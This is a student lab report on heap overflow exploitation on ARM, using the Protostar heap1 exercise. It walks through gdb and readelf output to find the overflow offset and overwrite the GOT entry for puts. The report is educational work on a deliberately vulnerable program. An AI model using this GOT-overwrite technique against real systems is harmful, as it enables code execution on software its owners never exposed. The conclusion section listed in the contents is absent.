

Exploiting Heap Overflows on ARM

Author: Yusef Karim

Instructor: Jacques Béland

Department of Computing & Information Systems

May 12, 2019

Contents

1 Purpose	1
2 What is the Heap?	1
3 Controlling program flow after exploiting the Heap	2
4 Exploiting the Heap	5
5 Conclusion	7
6 References	8

1 Purpose

This is a mini lab that will explore heap based exploits. This is covered in chapter 5 of the course text but several external resources were used instead.

2 What is the Heap?

The heap is a program segment that memory can be allocated to just like the stack, although the stack and heap both allow memory allocation, heap memory is very different. Memory allocation using the heap is usually not done during compilation time but during run time and can be of arbitrary size and order. Memory allocated on the heap is globally accessible, compared to the stack which gets allocated during a function call and destroyed before the function returns.

In a C program the functions *malloc()* and *free()* are used to allocate and free memory respectively. Malloc uses the system calls *brk* or *sbrk* to grow the heap [1], this memory can be accessed using pointers to the memory addresses within the heap.

A common issue with heap allocation is memory fragmentation. For example if a programmer were to allocate three variables on the heap using *malloc()* let's say a, b, c, then

free the variable `b` before `a` and `c`, there would be a hole between these two variables. This memory can sometimes be retrieved by `malloc()` when it tries to organize the heap but if not, memory fragmentation will occur. This has caused several different implementations of `malloc()` to be created such as `dmalloc`, `jemalloc`, and `ptmalloc` which all allocate and organize memory differently.

One last point is where the heap allocates memory. We know in general the stack starts at a very high memory address then grows towards lower memory addresses, the heap does the exact opposite. To explore this let's use `gdb` to print the memory layout of a program. This program is called `hello.c` is located in the `lab4_code` directory.

```

2      #include <stdlib.h>
3
4      int main(void) {
5          char *world = malloc(6);
6          world = "World";
7          printf("Hello %s!", world);
8          return 0;
9      }
(gdb) b 8
Breakpoint 1 at 0x8048476: file hello.c, line 8.
(gdb) r
Starting program: /home/scoobydoo/hello
Breakpoint 1, main () at hello.c:8
9      return 0;
(gdb) info proc map
process 1974
mapped address spaces:

Start Addr   End Addr     Size         Offset objfile
0x8048000    0x8049000    0x1000       0x0     /home/scoobydoo/hello
0x8049000    0x804a000    0x1000       0x0     /home/scoobydoo/hello
0x804a000    0x804b000    0x1000       0x1000  /home/scoobydoo/hello
0x804b000    0x806c000    0x21000      0x0     [heap]
0xb7e17000   0xb7e18000    0x1000      0x0     /lib/i386-linux-gnu/libc-2.23.so
0xb7e18000   0xb7fc8000    0x1b0000     0x0     /lib/i386-linux-gnu/libc-2.23.so
0xb7fc8000   0xb7fca000    0x2000       0x1af000 /lib/i386-linux-gnu/libc-2.23.so
0xb7fca000   0xb7fcb000    0x1000       0x1b1000 /lib/i386-linux-gnu/libc-2.23.so
0xb7fcb000   0xb7fce000    0x3000       0x0     [ovar]
0xb7fce000   0xb7fd7000    0x1000       0x0     [vdso]
0xb7fd7000   0xb7fda000    0x3000       0x0     [vdso]
0xb7fda000   0xb7fdb000    0x1000       0x0     /lib/i386-linux-gnu/ld-2.23.so
0xb7fdb000   0xb7ffe000    0x23000      0x0     /lib/i386-linux-gnu/ld-2.23.so
0xb7ffe000   0xb7fff000    0x1000       0x22000  /lib/i386-linux-gnu/ld-2.23.so
0xb7fff000   0xb8000000    0x1000       0x23000  /lib/i386-linux-gnu/ld-2.23.so
0xb8000000   0xc0000000    0x21000      0x0     [stack]
(gdb) _

```

Figure 1: Exploring memory layout of `hello.c`

We can see that the variable `world` has been allocated in the heap using `malloc`, then using the `gdb` command `info proc map` we see that the heap does indeed start at a much lower address than the stack that has been created.

3 Controlling program flow after exploiting the Heap

In our previous labs we have been dealing solely with stack-based overflows so before we jump into heap overflows let's think about how we can control the flow of execution if we actually are able to exploit the heap.

When exploiting the stack, we always aimed to overwrite the Instruction Pointer\Program Counter since this register is stored on the stack before a function call. This allowed us to change the return address of whatever function was being called to something of our liking. This is not going to happen when exploiting the heap, at least not directly (foreshadowing). Through my readings, it seems like a very common thing to try and overwrite with heap-overflows is the Global Offset Table (GOT). The GOT contains the address of linked functions (functions in `libc` for example) which the program can look up then call. If we are able to overwrite an address entry in the GOT with the address

of our shellcode, then when the program executes that entry in the GOT it will call our shellcode instead of the intended function. Great, but before we start let's learn about how the GOT gets those addresses in its table and how our program knows what to look for in the GOT.

To explore this I have decided to use a vulnerable program called `heap1.c` from `exploit-exercises.com` [2]. This is mainly due to the mass amounts of documentation on this program, I used a youtube video by LiveOverflow [3] to learn about the exploit. Also, since there is so much documentation on this for x86 I have decided to focus primarily on ARM. That being said, let's get back to learning about the Global Offset Table before we actually exploit `heap1.c`.

To begin, let's compile `heap1.c` and keep in mind that when we compile a program using GCC it creates an executable in the Executable and Linking Format (ELF).

```
gcc heap1.c -fno-stack-protector -o heap1
```

We can then use the GNU program `readelf` to list out the sections of our ELF executable.

```
pi@raspberrypi:~$ readelf --sections ./heap1
There are 30 section headers, starting at offset 0x1bf0:

Section Headers:
 [Nr] Name                Type              Addr             Off              Size             ES Flg Lk  Inf Al
 [ 0]                     NULL              00000000          000000          000000          00  0  0  0  0
 [ 1] .interp               PROGBITS          00010154          000154          000019          00  A  0  0  1
 [ 2] .note.ABI-tag         NOTE              00010170          000170          000020          00  A  0  0  4
 [ 3] .note.gnu.build-id    NOTE              00010190          000190          000024          00  A  0  0  4
 [ 4] .gnu.hash             GNU_HASH          000101b4          0001b4          000040          04  A  5  0  4
 [ 5] .dynsym               DYNSYM            000101f4          0001f4          000090          10  A  6  1  4
 [ 6] .dynstr               STRTAB            00010284          000284          00005b          00  A  0  0  1
 [ 7] .gnu.version          VERSYM            000102e0          0002e0          000012          02  A  5  0  2
 [ 8] .gnu.version_r        VERNEED           000102f4          0002f4          000020          00  A  6  1  4
 [ 9] .rel.dyn              REL               00010314          000314          000008          08  A  5  0  4
[10] .rel.plt              REL               0001031c          00031c          000040          08  A  5 22  4
[11] .init                 PROGBITS          0001035c          00035c          00000c          00  AX 0  0  4
[12] .plt                  PROGBITS          00010368          000368          000074          04  AX 0  0  4
[13] .text                 PROGBITS          000103dc          0003dc          000290          00  AX 0  0  4
[14] .fini                 PROGBITS          0001066c          00066c          000008          00  AX 0  0  4
[15] .rodata               PROGBITS          00010674          000674          000039          00  A  0  0  4
[16] .ARM.exidx            ARM_EXIDX         000106b0          0006b0          000008          00  AL 13 0  4
[17] .eh_frame             PROGBITS          000106b8          0006b8          000004          00  A  0  0  4
[18] .init_array           INIT_ARRAY        00020f0c          000f0c          000004          04  WA 0  0  4
[19] .fini_array           FINI_ARRAY        00020f10          000f10          000004          04  WA 0  0  4
[20] .jcr                  PROGBITS          00020f14          000f14          000004          00  WA 0  0  4
[21] .dynamic              DYNAMIC           00020f18          000f18          0000e8          08  WA 6  0  4
[22] .got                  PROGBITS          00021000          001000          000030          04  WA 0  0  4
[23] .data                 PROGBITS          00021030          001030          000008          00  WA 0  0  4
[24] .bss                  NOBITS            00021038          001038          000004          00  WA 0  0  1
[25] .comment              PROGBITS          00000000          001038          000034          01  MS 0  0  1
[26] .ARM.attributes       ARM_ATTRIBUTES    00000000          00106c          00002f          00  0  0  0  1
[27] .symtab               SYMTAB            00000000          00109c          000720          10  28 87  4
[28] .strtab               STRTAB            00000000          0017bc          000328          00  0  0  0  1
[29] .shstrtab             STRTAB            00000000          001ae4          00010a          00  0  0  0  1

Key to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
  L (link order), O (extra OS processing required), G (group), T (TLS),
  C (compressed), x (unknown), o (OS specific), E (exclude),
  y (purecode), p (processor specific)
pi@raspberrypi:~$ _
```

Figure 2: Section headers in `heap1.c`

There are two important things we need to pay attention too, first is the `.got` section which starts at `0x00021000`, second the `.plt` section which stands for Procedure Lookup Table (PLT) which starts at `0x00010368`, we will see why this table is relevant soon. Next, we can use `readelf` again to see the offsets from the start of the GOT to all the relevant functions our program needs.

```

pi@raspberrypi:~$ readelf --relocs ./heap1

Relocation section '.rel.dyn' at offset 0x314 contains 1 entries:
  Offset      Info      Type           Sym.Value    Sym. Name
0002102c  00000115  R_ARM_GLOB_DAT 00000000    __gmon_start__

Relocation section '.rel.plt' at offset 0x31c contains 8 entries:
  Offset      Info      Type           Sym.Value    Sym. Name
0002100c  00000316  R_ARM_JUMP_SLOT 00000000    printf@GLIBC_2.4
00021010  00000416  R_ARM_JUMP_SLOT 00000000    time@GLIBC_2.4
00021014  00000716  R_ARM_JUMP_SLOT 00000000    strcpy@GLIBC_2.4
00021018  00000216  R_ARM_JUMP_SLOT 00000000    puts@GLIBC_2.4
0002101c  00000516  R_ARM_JUMP_SLOT 00000000    malloc@GLIBC_2.4
00021020  00000816  R_ARM_JUMP_SLOT 00000000    __libc_start_main@GLIBC_2.4
00021024  00000116  R_ARM_JUMP_SLOT 00000000    __gmon_start__
00021028  00000616  R_ARM_JUMP_SLOT 00000000    abort@GLIBC_2.4
pi@raspberrypi:~$ _

```

Figure 3: Relocation sections in heap1.c

This doesn't tell us much right away other than the fact that there is libc functions located within the GOT at specific offsets. Let's jump into GDB now so we can understand what the heck is actually going on.

```

pi@raspberrypi:~$ gdb -q ./heap1
Reading symbols from ./heap1...(no debugging symbols found)...done.
(gdb) disass main_

```

■ ■ ■

```

0x000105bc <+140>: ldr r3, [r3]
0x000105c0 <+144>: mov r1, r3
0x000105c4 <+148>: mov r0, r2
0x000105c8 <+152>: bl 0x10394 <strcpy@plt>
0x000105cc <+156>: ldr r3, [r11, #-12]
0x000105d0 <+160>: ldr r2, [r3, #4]
0x000105d4 <+164>: ldr r3, [r11, #-20] ; 0xffffffff
0x000105d8 <+168>: add r3, r3, #8
0x000105dc <+172>: ldr r3, [r3]
0x000105e0 <+176>: mov r1, r3
0x000105e4 <+180>: mov r0, r2
0x000105e8 <+184>: bl 0x10394 <strcpy@plt>
0x000105ec <+188>: ldr r0, [pc, #16] ; 0x10604 <main+212>
0x000105f0 <+192>: bl 0x103a0 <puts@plt>
0x000105f4 <+196>: mov r3, #0
0x000105f8 <+200>: mov r0, r3
0x000105fc <+204>: sub sp, r11, #4
0x00010600 <+208>: pop {r11, pc}
---Type <return> to continue, or q <return> to quit---
0x00010604 <+212>: muleq r1, r4, r6
End of assembler dump.
(gdb) _

```

Figure 4: Bottom half of disassembled main in heap1.c

If we look at main+192 we can see a call to the *puts* function, but the word next to it is *plt*, let's disassemble *puts* and learn what the Procedure Lookup Table actually does.

```

(gdb) disass puts
Dump of assembler code for function puts@plt:
   0x000103a0 <+0>: add r12, pc, #0, 12
   0x000103a4 <+4>: add r12, r12, #16, 20    ; 0x10000
   0x000103a8 <+8>: ldr pc, [r12, #3184]!    ; 0xc70
End of assembler dump.
(gdb) disass 0x000103a4 + 0x10000 + 0xc74
Dump of assembler code for function _GLOBAL_OFFSET_TABLE_:
   0x00021000: andeq    r0, r2, r8, lsl pc
   0x00021004: andeq    r0, r0, r0
   0x00021008: andeq    r0, r0, r0
   0x0002100c: andeq    r0, r1, r8, ror #6
   0x00021010: andeq    r0, r1, r8, ror #6
   0x00021014: andeq    r0, r1, r8, ror #6
   0x00021018: andeq    r0, r1, r8, ror #6
   0x0002101c: andeq    r0, r1, r8, ror #6
   0x00021020: andeq    r0, r1, r8, ror #6
   0x00021024: andeq    r0, r1, r8, ror #6
   0x00021028: andeq    r0, r1, r8, ror #6
   0x0002102c: andeq    r0, r0, r0
End of assembler dump.
(gdb) _

```

Figure 5: Disassembly of puts in heap1.c

The *puts* disassembly output actually takes us to the .plt section of our code, and this section uses a set of instructions to calculate something and then loads that value into the Program Counter (PC). The value that is being calculated is actually the offset to the address of the actual linked puts function in the Global Offset Table (GOT). If we were to calculate the value being loaded into PC ($0x000103a4 + 0x10000 + 0xc74$) we would see that it turns out to be $0x21018$ which if we look at the relocation offsets in Figure 3 above, we will see it points directly at the *puts* function in the GOT. Cool, so the PLT contains instructions to calculate the address in the GOT then the GOT table calls *puts*, but wait when we look at the GOT in GDB it looks like a bunch of fooey. This is because the GOT initially contains instructions to call the Dynamic Linker (ld) which is linked to our program. The Dynamic Linker will then go find the function address from libc and store it in the GOT, this is to avoid extra code and large binaries, the Dynamic Linker will just find the function the program needs when it needs it then store it in the GOT so anytime the program needs that function again it can just look directly at the GOT [4][5].

What would happen if we were to overwrite the address of *puts* in the GOT before the program calls *puts*? Let's find out.

4 Exploiting the Heap

If we take a look at the *heap1.c* source code there are 3 lines that tell us almost all we need right away.

```

strcpy(i1->name, argv[1]);
strcpy(i2->name, argv[2]);

printf("and that's a wrap folks!\n");

```

From the disassembly in Figure 4 we already know that the code uses malloc to allocate strings, we also see the last function call in the program is actually *puts* not *printf* this is probably an optimization made by the compiler. From the 3 lines above we see this program uses the vulnerable *strcpy* function to copy the first two command line arguments

passed into the program. How can we take advantage of this?

Since we know how the GOT table works, we can try to pass a large buffer to the program as the first argument, since the heap allocations are likely contiguous we will write past the `i1->name` buffer and eventually start overwriting the address of the `i2->name`. That means we could theoretically overwrite the address `i2->name` points to, then use the second `strcpy` function to write the value we want to that overwritten address. Let's try it!

Let's be a little methodical about it though. If we look at the man pages for the `malloc` function we see it returns a pointer to the allocated memory, so let's get the actual memory address of the `i2->name` string by setting a breakpoint after the third `malloc` call, `malloc` will store the return address of the allocated memory in `R0` and `i2->name` will be 4 bytes beyond this since it is after the integer in the `internet` structure.

```
(gdb) x/51 main+68
0x10574 <main+68>: str r2, [r3, #4]
0x10578 <main+72>: mov r0, #8
0x1057c <main+76>: bl 0x103ac <malloc@plt>
0x10580 <main+80>: mov r3, r0
0x10584 <main+84>: str r3, [r11, #-12]
(gdb) b *0x10580
Breakpoint 1 at 0x10580: file heap1.c, line 25.
(gdb) x/51 main+144
0x105c0 <main+144>: mov r1, r3
0x105c4 <main+148>: mov r0, r2
0x105c8 <main+152>: bl 0x10394 <strcpy@plt>
0x105cc <main+156>: ldr r3, [r11, #-12]
0x105d0 <main+160>: ldr r2, [r3, #4]
(gdb) b *0x105cc
Breakpoint 2 at 0x105cc: file heap1.c, line 30.
(gdb) r $(printf AAAABBBBCCCCDDDDDEEEEEFFFFGGGGHHHHIIIIJJJJKKKK) 111122223333
Starting program: /home/pi/shellcode_tutorials/lab4/lab4_code/heap1 $(printf AAAABBBBCCCCDDDDDEEEEEFFFFGGGGHHHHIIIIJJJJKKKK) 111122223333

Breakpoint 1, 0x00010580 in main (argc=3, argv=0x7efff684) at heap1.c:25
25 i2 = malloc(sizeof(struct internet));
(gdb) i r r0
r0 0x22028 139304
(gdb) c
Continuing.

Breakpoint 2, main (argc=3, argv=0x7efff684) at heap1.c:30
30 strcpy(i2->name, argv[2]);
(gdb) x/10x 0x22028 +4
0x2202c: 0x46464646 0x47474747 0x48484848 0x49494949
0x2203c: 0x4a4a4a4a 0x4b4b4b4b 0x00020f00 0x00000000
0x2204c: 0x00000000 0x00000000
(gdb) _
```

Figure 6: Finding offset to overflow `i2->name`

In the Figure above, we set a breakpoint right after the `internet` structure gets allocated, then another breakpoint on the `strcpy` that copies the first command line argument into the `i1->name` buffer. We then run the program with a large buffer for both the first and second command line argument. After running we hit the first breakpoint and see that `malloc` returned the address `0x22028`, this means the address `0x2202c` will be the address of the `i2->name` string. We continue to the next breakpoint and print the values starting at the `i2->name` string. We can now clearly see the heap buffer started to overflow after 20 bytes (`AAAABBBBCCCCDDDDDEEEEE`). Great, almost there, we can put the address of the GOT value for the `puts` function which we found in Figure 3 (`0x21018`) after our 20 byte offset. This will overflow the value `i2->name` points too then the **second** `strcpy` will copy the value we pass as the second argument into the address `i2->name` points too. Let's give the address of the `winner` function as the second argument.

6 References

1. **Heap Memory in C Programming**
<https://stackoverflow.com/questions/10200628/heap-memory-in-c-programming>
2. **Heap1.c exploit-exercises.com**
<https://web.archive.org/web/20140405141230/http://exploit-exercises.com/protostar/heap1>
3. **LiveOverflow: How to exploit a Heap Overflow**
<https://www.youtube.com/watch?v=TfJrU95q1J4>
4. **Global Offset Tables**
<http://bottomupcs.sourceforge.net/csbu/x3824.htm>
5. **The Procedure Lookup Table**
<http://bottomupcs.sourceforge.net/csbu/x3882.htm>